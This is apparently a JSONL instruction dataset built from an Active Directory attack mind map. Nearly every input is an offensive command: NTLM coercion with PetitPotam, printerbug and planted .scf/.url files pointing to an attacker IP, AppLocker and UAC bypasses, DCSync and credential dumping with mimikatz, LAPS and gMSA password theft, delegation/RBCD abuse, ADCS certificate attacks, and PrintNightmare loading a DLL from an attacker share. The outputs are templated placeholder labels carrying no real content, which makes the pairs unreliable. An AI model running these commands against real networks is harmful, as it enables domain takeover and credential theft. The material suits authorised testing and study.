{"instruction": "Coerce", "input": "Drop file", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": ".lnk", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "nxc smb <dc_ip> -u '<user>' -p '<password>' -M slinky -o NAME=<filename> SERVER=<attacker_ip>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Coerce", "input": ".scf", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "nxc smb <dc_ip> -u '<user>' -p '<password>' -M sucffy -o NAME=<filename> SERVER=<attacker_ip>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Coerce", "input": ".url", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "[InternetShortcut]... IconFile=\\\\<attacker_ip>\\%USERNAME%.icon", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "Other files", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "ntlm_theft.py -g all -s <your_ip> -f test", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "Webdav", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "Enable webclient", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": ".searchConnector-ms", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "nxc smb <dc_ip> -u '<user>' -p '<password>' -M drop-sc", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Coerce", "input": "add attack computer in dns", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "dnstool.py -u <domain>\\<user> -p <pass> --record <attack_name> --action add --data <ip_attacker> <dc_ip>", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "Launch coerce with <attacker_hostname>@80/x as target", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "RPC call", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "printerbug.py <domain>/<username>:<password>@<printer_ip> <listener_ip>", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "petitpotam.py -d <domain> -u <user> -p <password> <listnerer_ip> <target_ip>", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "coercer.py -d <domain> -u <user> -p <password> -t <target> -l <attacker_ip>", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "Coerce kerberos", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "dnstool.py -u \"<domain>\\<user>\" -p '<password>' -d \"<attacker_ip>\" --action add \"<dns_server_ip>\" -r \"<servername>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA\" --tcp", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Coerce", "input": "petitpotam.py -u '<user>' -p '<password>' -d <domain> '<servername>1UWh...' <target>", "output": "Note or procedural step under 'Coerce'."}
{"instruction": "Intra ID Connect", "input": "Find MSOL", "output": "Note or procedural step under 'Intra ID Connect'."}
{"instruction": "Intra ID Connect", "input": "nxc ldap <dc_ip> -u '<user>' -p '<password>' -M get-desc-users |grep -i MSOL", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Can Connect to a computer", "input": "Lateral move", "output": "Note or procedural step under 'Can Connect to a computer'."}
{"instruction": "Exploit", "input": "know vulnerabilities", "output": "Note or procedural step under 'Exploit'."}
{"instruction": "Bypass Applocker", "input": "Get-Applocker infos", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "Get-ChildItem -Path HKLM:\\SOFTWARE\\Policies \\Microsoft\\Windows\\SrpV2\\Exe (dll/msi/...)", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "files in writables paths", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "C:\\Windows\\Temp", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "C:\\Windows\\Tasks", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "installutil.exe /logfile= /LogToConsole=false /U C:\\runme.exe", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "mshta.exe my.hta", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "Bypass Applocker", "input": "MsBuild.exe pshell.xml", "output": "Note or procedural step under 'Bypass Applocker'."}
{"instruction": "UAC bypass", "input": "Fodhelper.exe", "output": "Note or procedural step under 'UAC bypass'."}
{"instruction": "UAC bypass", "input": "wsreset.exe", "output": "Note or procedural step under 'UAC bypass'."}
{"instruction": "UAC bypass", "input": "msdt.exe", "output": "Note or procedural step under 'UAC bypass'."}
{"instruction": "Auto Enum", "input": "winPEASany_ofs.exe", "output": "Note or procedural step under 'Auto Enum'."}
{"instruction": "Auto Enum", "input": ".\\PrivescCheck.ps1;  Invoke-PrivescCheck -Extended\"", "output": "Note or procedural step under 'Auto Enum'."}
{"instruction": "Search files", "input": "findstr /si 'pass' *.txt *.xml *.docx *.ini", "output": "Note or procedural step under 'Search files'."}
{"instruction": "Exploit", "input": "SMBGhost CVE-2020-0796", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Exploit", "input": "CVE-2021-36934 (HiveNightmare/SeriousSAM)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "Exploit", "input": "vssadmin list shadows", "output": "Note or procedural step under 'Exploit'."}
{"instruction": "Webdav", "input": "open file <file>.searchConnector-ms", "output": "Note or procedural step under 'Webdav'."}
{"instruction": "Webdav", "input": "dnstool.py -u <domain>\\<user> -p <pass> --record 'attacker' --action add --data <ip_attacker> <dc_ip>", "output": "Note or procedural step under 'Webdav'."}
{"instruction": "Webdav", "input": "petitpotam.py -u '<user>' -p <pass> -d '<domain>' \"attacker@80/random.txt\" <ip>", "output": "Note or procedural step under 'Webdav'."}
{"instruction": "Kerberos Relay", "input": "KrbRelayUp.exe relay -Domain <domain> -CreateNewComputerAccount -ComputerName <computer$> -ComputerPassword <password>", "output": "Note or procedural step under 'Kerberos Relay'."}
{"instruction": "Kerberos Relay", "input": "KrbRelayUp.exe spawn -m rbcd -d <domain> -dc <dc> -cn <computer_name>-cp <omputer_pass>", "output": "Note or procedural step under 'Kerberos Relay'."}
{"instruction": "From Service account (SEImpersonate)", "input": "RoguePatato", "output": "Note or procedural step under 'From Service account (SEImpersonate)'."}
{"instruction": "From Service account (SEImpersonate)", "input": "GodPotato", "output": "Note or procedural step under 'From Service account (SEImpersonate)'."}
{"instruction": "From Service account (SEImpersonate)", "input": "PrintSpoofer", "output": "Note or procedural step under 'From Service account (SEImpersonate)'."}
{"instruction": "From Service account (SEImpersonate)", "input": "RemotePotato0", "output": "Note or procedural step under 'From Service account (SEImpersonate)'."}
{"instruction": "MS14-068", "input": "findSMB2UPTime.py <ip>", "output": "Note or procedural step under 'MS14-068'."}
{"instruction": "MS14-068", "input": "ms14-068.py -u <user>@<domain> -p <password> -s <user_sid> -d <dc_fqdn>", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "MS14-068", "input": "msf> use auxiliary/admin/kerberos/ms14_068_kerberos_checksum", "output": "Tool or command referenced under 'MS14-068'."}
{"instruction": "MS14-068", "input": "goldenPac.py -dc-ip <dc_ip> <domain>/<user>:<password>@target", "output": "Note or procedural step under 'MS14-068'."}
{"instruction": "GPP MS14-025", "input": "msf> use auxiliary/scanner/smb/smb_enum_gpp", "output": "Tool or command referenced under 'GPP MS14-025'."}
{"instruction": "GPP MS14-025", "input": "findstr /S /I cpassword \\\\<domain_fqdn>\\sysvol\\<domain_fqdn>\\policies\\*.xml", "output": "Note or procedural step under 'GPP MS14-025'."}
{"instruction": "GPP MS14-025", "input": "Get-GPPPassword.py <domain>/<user>:<password>@<dc_fqdn>", "output": "Note or procedural step under 'GPP MS14-025'."}
{"instruction": "PrivExchange (CVE-2019-0724, CVE-2019-0686)", "input": "privexchange.py -ah <attacker_ip> <exchange_host> -u <user> -d <domain> -p <password>", "output": "Note or procedural step under 'PrivExchange (CVE-2019-0724, CVE-2019-0686)'."}
{"instruction": "noPac (CVE-2021-42287, CVE-2021-42278)", "input": "nxc smb <ip> -u 'user' -p 'pass' -M nopac #scan", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "noPac (CVE-2021-42287, CVE-2021-42278)", "input": "noPac.exe -domain <domain> -user <user> -pass <password> /dc <dc_fqdn> /mAccount <machine_account> /mPassword <machine_password> /service cifs /ptt", "output": "Note or procedural step under 'noPac (CVE-2021-42287, CVE-2021-42278)'."}
{"instruction": "PrintNightmare (CVE-2021-1675, CVE-2021-34527)", "input": "nxc smb <ip> -u 'user' -p 'pass' -M printnightmare #scan", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "PrintNightmare (CVE-2021-1675, CVE-2021-34527)", "input": "printnightmare.py -dll '\\\\<attacker_ip>\\smb\\add_user.dll' '<user>:<password>@<ip>", "output": "Note or procedural step under 'PrintNightmare (CVE-2021-1675, CVE-2021-34527)'."}
{"instruction": "Certifried (CVE-2022-26923)", "input": "Create account", "output": "Note or procedural step under 'Certifried (CVE-2022-26923)'."}
{"instruction": "Certifried (CVE-2022-26923)", "input": "certipy account create -u <user>@<domain> -p '<password>' -user 'certifriedpc' -pass 'certifriedpass' -dns '<fqdn_dc>'", "output": "Note or procedural step under 'Certifried (CVE-2022-26923)'."}
{"instruction": "Certifried (CVE-2022-26923)", "input": "Request", "output": "Note or procedural step under 'Certifried (CVE-2022-26923)'."}
{"instruction": "Certifried (CVE-2022-26923)", "input": "certipy req -u 'certifriedpc$'@<domain> -p 'certifriedpass' -target <ca_fqdn> -ca <ca_name> -template Machine", "output": "Note or procedural step under 'Certifried (CVE-2022-26923)'."}
{"instruction": "Certifried (CVE-2022-26923)", "input": "Authentication", "output": "Note or procedural step under 'Certifried (CVE-2022-26923)'."}
{"instruction": "Certifried (CVE-2022-26923)", "input": "certipy auth -pfx <pfx_file> -username '<dc>$' -domain <domain> -dc-ip <dc_ip>", "output": "Note or procedural step under 'Certifried (CVE-2022-26923)'."}
{"instruction": "ProxyNotShell (CVE-2022-41040, CVE-2022-41082)", "input": "poc_aug3.py <host> <username> <password> <command>", "output": "Note or procedural step under 'ProxyNotShell (CVE-2022-41040, CVE-2022-41082)'."}
{"instruction": "ProxyNotShell (CVE-2022-41040, CVE-2022-41082)", "input": "ACLs/ACEs permissions", "output": "Note or procedural step under 'ProxyNotShell (CVE-2022-41040, CVE-2022-41082)'."}
{"instruction": "Dcsync", "input": "Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts", "output": "Note or procedural step under 'Dcsync'."}
{"instruction": "Dcsync", "input": "mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\\administrator", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Dcsync", "input": "secretsdump.py '<domain>'/'<user>':'<password>'@'<domain_controller>'", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Can change msDS-KeyCredentialLInk (Generic Write) + ADCS", "input": "Shadow Credentials", "output": "Note or procedural step under 'Can change msDS-KeyCredentialLInk (Generic Write) + ADCS'."}
{"instruction": "Can change msDS-KeyCredentialLInk (Generic Write) + ADCS", "input": "certipy shadow auto '-u <user>@<domain>' -p <password> -account '<target_account>'", "output": "Note or procedural step under 'Can change msDS-KeyCredentialLInk (Generic Write) + ADCS'."}
{"instruction": "Can change msDS-KeyCredentialLInk (Generic Write) + ADCS", "input": "pywhisker.py -d \"FQDN_DOMAIN\" -u \"user1\" -p \"CERTIFICATE_PASSWORD\" --target \"TARGET_SAMNAME\" --action \"list\"", "output": "Note or procedural step under 'Can change msDS-KeyCredentialLInk (Generic Write) + ADCS'."}
{"instruction": "On Group", "input": "GenericAll/GenericWrite/Self/Add Extended Rights", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Group", "input": "Add member to the group", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Group", "input": "Write Owner", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Group", "input": "Grant Ownership", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Group", "input": "WriteDACL + WriteOwner", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Group", "input": "Grant rights", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Group", "input": "Give yourself generic all", "output": "Note or procedural step under 'On Group'."}
{"instruction": "On Computer", "input": "GenericAll / GenericWrite", "output": "Note or procedural step under 'On Computer'."}
{"instruction": "On Computer", "input": "msDs-AllowedToActOnBehalf", "output": "Note or procedural step under 'On Computer'."}
{"instruction": "On Computer", "input": "add Key Credentials", "output": "Note or procedural step under 'On Computer'."}
{"instruction": "On User", "input": "GenericAll / GenericWrite", "output": "Note or procedural step under 'On User'."}
{"instruction": "On User", "input": "Change password", "output": "Note or procedural step under 'On User'."}
{"instruction": "On User", "input": "add SPN (target kerberoasting)", "output": "Note or procedural step under 'On User'."}
{"instruction": "On User", "input": "add key credentials", "output": "Note or procedural step under 'On User'."}
{"instruction": "On User", "input": "login script", "output": "Note or procedural step under 'On User'."}
{"instruction": "On User", "input": "ForceChangePassword", "output": "Note or procedural step under 'On User'."}
{"instruction": "On User", "input": "net user <user> <password> /domain", "output": "Note or procedural step under 'On User'."}
{"instruction": "On OU", "input": "Write Dacl", "output": "Note or procedural step under 'On OU'."}
{"instruction": "On OU", "input": "ACE Inheritance", "output": "Note or procedural step under 'On OU'."}
{"instruction": "On OU", "input": "Grant rights", "output": "Note or procedural step under 'On OU'."}
{"instruction": "On OU", "input": "GenericAll / GenericWrite / Manage Group Policy Links", "output": "Note or procedural step under 'On OU'."}
{"instruction": "On OU", "input": "OUned.py --config config.ini", "output": "Note or procedural step under 'On OU'."}
{"instruction": "ReadGMSAPassword", "input": "gMSADumper.py -u '<user>' -p '<password>' -d '<domain>'", "output": "Note or procedural step under 'ReadGMSAPassword'."}
{"instruction": "ReadGMSAPassword", "input": "nxc ldap <ip> -u <user> -p <pass> --gmsa", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "ReadGMSAPassword", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldaps://<dc_ip> gmsa", "output": "Note or procedural step under 'ReadGMSAPassword'."}
{"instruction": "Get LAPS passwords", "input": "Who can read LAPS", "output": "Note or procedural step under 'Get LAPS passwords'."}
{"instruction": "Get LAPS passwords", "input": "MATCH p=(g:Base)-[:ReadLAPSPassword]->(c:Computer) RETURN p", "output": "Note or procedural step under 'Get LAPS passwords'."}
{"instruction": "Get LAPS passwords", "input": "Read LAPS", "output": "Note or procedural step under 'Get LAPS passwords'."}
{"instruction": "Get LAPS passwords", "input": "Get-LapsADPassword -DomainController <ip_dc> -Credential <domain>\\<login> | Format-Table -AutoSize", "output": "Note or procedural step under 'Get LAPS passwords'."}
{"instruction": "Get LAPS passwords", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> laps", "output": "Note or procedural step under 'Get LAPS passwords'."}
{"instruction": "Get LAPS passwords", "input": "foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}", "output": "Note or procedural step under 'Get LAPS passwords'."}
{"instruction": "Get LAPS passwords", "input": "nxc ldap <dc_ip> -d <domain> -u <user> -p <password> --module laps", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Get LAPS passwords", "input": "msf> use post/windows/gather/credentials/enum_laps", "output": "Tool or command referenced under 'Get LAPS passwords'."}
{"instruction": "GPO", "input": "Who can control GPOs", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "MATCH p=((n:Base)-[]->(gp:GPO)) RETURN p", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "SID of principals that can create new GPOs in the domain", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "Get-DomainObjectAcl -SearchBase \"CN=Policies,CN=System,DC=blah,DC=com\" -ResolveGUIDs  | ? { $_.ObjectAceType -eq \"Group-Policy-Container\" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "Return the principals that can write to the GP-Link attribute on OUs", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq \"GP-Link\" -and $_.ActiveDirectoryRights -match \"WriteProperty\" } | select ObjectDN, SecurityIdentifier | fl", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "Generic Write on  GPO", "output": "Note or procedural step under 'GPO'."}
{"instruction": "GPO", "input": "Abuse GPO", "output": "Note or procedural step under 'GPO'."}
{"instruction": "DNS Admin", "input": "DNSadmins abuse (CVE-2021-40469)", "output": "Reference to a known vulnerability or advisory; consult vendor advisories and patching guidance."}
{"instruction": "DNS Admin", "input": "dnscmd.exe /config /serverlevelplugindll <\\\\path\\to\\dll> # need a dnsadmin user", "output": "Note or procedural step under 'DNS Admin'."}
{"instruction": "DNS Admin", "input": "sc \\\\DNSServer stop dns sc \\\\DNSServer start dns", "output": "Note or procedural step under 'DNS Admin'."}
{"instruction": "Find delegation", "input": "findDelegation.py \"<domain>\"/\"<user>\":\"<password>\"", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "With BloodHound", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "Unconstrained", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "MATCH (c:User {unconstraineddelegation:true}) RETURN c", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "Constrained", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "MATCH p=((c:Base)-[:AllowedToDelegate]->(t:Computer)) RETURN p", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Find delegation", "input": "MATCH p=shortestPath((u:User)-[*1..]->(c:Computer {name: \"<MYTARGET.FQDN>\"})) RETURN p", "output": "Note or procedural step under 'Find delegation'."}
{"instruction": "Unconstrained delegation", "input": "UAC: ADS_UF_TRUSTED_FOR_DELEGATION", "output": "Note or procedural step under 'Unconstrained delegation'."}
{"instruction": "Unconstrained delegation", "input": "Force connection  with coerce", "output": "Note or procedural step under 'Unconstrained delegation'."}
{"instruction": "Unconstrained delegation", "input": "Get tickets", "output": "Note or procedural step under 'Unconstrained delegation'."}
{"instruction": "Unconstrained delegation", "input": "mimikatz privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Unconstrained delegation", "input": "Rubeus.exe dump /service:krbtgt /nowrap", "output": "Tool or command referenced under 'Unconstrained delegation'."}
{"instruction": "Unconstrained delegation", "input": "Rubeus.exe dump /luid:0xdeadbeef /nowrap", "output": "Tool or command referenced under 'Unconstrained delegation'."}
{"instruction": "Unconstrained delegation", "input": "Rubeus.exe monitor /interval:5", "output": "Tool or command referenced under 'Unconstrained delegation'."}
{"instruction": "Constrained delegation", "input": "With protocol transition (any) UAC: TRUST_TO_AUTH_FOR_DELEGATION", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Get TGT for user", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Request S4u2self", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Request S4u2proxy", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Rubeus.exe hash /password:<password>", "output": "Tool or command referenced under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<AES 256 hash>", "output": "Tool or command referenced under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Rubeus.exe s4u /ticket:<ticket> /impersonateuser:<admin_user> /msdsspn:<spn_constrained> /altservice:<altservice> /ptt", "output": "Tool or command referenced under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Altservice HTTP/HOST/CIFS/LDAP", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "getST.py -spn '<spn>/<target>' -impersonate Administrator -dc-ip '<dc_ip>' '<domain>/<user>:<password>' -altservice <altservice>", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Altservice HTTP/HOST/CIFS/LDAP", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Without protocol transition (kerberos only) UAC: TRUSTED_FOR_DELEGATION", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Constrain between Y and Z", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Add computer X", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Add RBCD : delegate from X to Y", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "s4u2self X (impersonate admin)", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "S4u2Proxy X (impersonate admin on spn/Y)", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Forwardable TGS for Y", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "S4u2Proxy Y (impersonate admin on spn/Z)", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "add computer account", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "RBCD With added computer account", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "rbcd.py -delegate-from '<rbcd_con>$' -delegate-to '<constrained>$' -dc-ip '<dc>' -action 'write' -hashes '<hash>' <domain>/<constrained>$", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "getST.py -spn host/<constrained> -impersonate Administrator --dc-ip <dc_ip> '<domain>/<rbcd_con>$:<rbcd_conpass>'", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "getST.py -spn <constrained_spn>/<target> -hashes '<hash>' '<domain>/<constrained>$' -impersonate Administrator --dc-ip <dc_ip> -additional-ticket <previous_ticket>", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Self RBCD", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Constrained delegation", "input": "Like RBCD without add computer", "output": "Note or procedural step under 'Constrained delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "add computer account", "output": "Note or procedural step under 'Resource-Based Constrained Delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'", "output": "Note or procedural step under 'Resource-Based Constrained Delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "RBCD With added computer account", "output": "Note or procedural step under 'Resource-Based Constrained Delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "Rubeus.exe hash /password:<computer_pass> /user:<computer> /domain:<domain>", "output": "Tool or command referenced under 'Resource-Based Constrained Delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "Rubeus.exe s4u /user:<fake_computer$> /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/<victim.domain.local> /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt", "output": "Tool or command referenced under 'Resource-Based Constrained Delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "rbcd.py -delegate-from '<computer>$' -delegate-to '<target>$' -dc-ip '<dc>' -action 'write' <domain>/<user>:<password>", "output": "Note or procedural step under 'Resource-Based Constrained Delegation'."}
{"instruction": "Resource-Based Constrained Delegation", "input": "getST.py -spn host/<dc_fqdn> '<domain>/<computer_account>:<computer_pass>' -impersonate Administrator --dc-ip <dc_ip> #Kerberos TGT", "output": "Note or procedural step under 'Resource-Based Constrained Delegation'."}
{"instruction": "S4U2self abuse", "input": "Get machine account (X)'s TGT", "output": "Note or procedural step under 'S4U2self abuse'."}
{"instruction": "S4U2self abuse", "input": "Get a ST on X as user admin", "output": "Note or procedural step under 'S4U2self abuse'."}
{"instruction": "S4U2self abuse", "input": "getTGT.py -dc-ip \"<dc_ip>\" -hashes :\"<machine_hash>\" \"<domain>\"/\"<machine>$\"", "output": "Note or procedural step under 'S4U2self abuse'."}
{"instruction": "S4U2self abuse", "input": "getST.py -self -impersonate \"<admin>\" -altservice \"cifs/<machine>\" -k -no-pass -dc-ip \"DomainController\" \"<domain>\"/'<machine>$' #Admin", "output": "Note or procedural step under 'S4U2self abuse'."}
{"instruction": "Enumeration", "input": "certutil -v -dsTemplate", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "certify.exe find [ /vulnerable]", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "certipy find -u <user>@<domain> -p <password> -dc-ip <dc_ip>", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s <dc_ip> templates", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "Get PKI objects information", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "certify.exe pkiobjects", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "Display CA information", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "certutil -TCAInfo", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Enumeration", "input": "certify.exe cas", "output": "Note or procedural step under 'Enumeration'."}
{"instruction": "Web Enrollment Is Up", "input": "ESC8", "output": "Note or procedural step under 'Web Enrollment Is Up'."}
{"instruction": "Web Enrollment Is Up", "input": "ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController", "output": "Note or procedural step under 'Web Enrollment Is Up'."}
{"instruction": "Web Enrollment Is Up", "input": "Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt", "output": "Tool or command referenced under 'Web Enrollment Is Up'."}
{"instruction": "Web Enrollment Is Up", "input": "gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>", "output": "Note or procedural step under 'Web Enrollment Is Up'."}
{"instruction": "Web Enrollment Is Up", "input": "certipy relay -target http://<ip_ca>", "output": "Note or procedural step under 'Web Enrollment Is Up'."}
{"instruction": "Web Enrollment Is Up", "input": "certipy auth -pfx <certificate> -dc-ip <dc_ip>", "output": "Note or procedural step under 'Web Enrollment Is Up'."}
{"instruction": "Misconfigured Certificate Template", "input": "ESC1", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>'  -ca <ca_name> -upn <target_user>@<domain>", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certify.exe request /ca:<server>\\<ca-name>   /template:\"<vulnerable template name>\" [/altname:\"Admin\"]", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "ESC2", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "ESC3", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "ESC3", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certify.exe request /ca:<server>\\<ca-name> /template:\"<vulnerable template name>\"", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certify.exe request request /ca:<server>\\<ca-name> /template:<template>  /onbehalfof:<domain>\\<user> /enrollcert:<path.pfx> [/enrollcertpw:<cert-password>]", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>'  -ca <ca_name>", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>'  -ca <ca_name>", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "ESC13", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
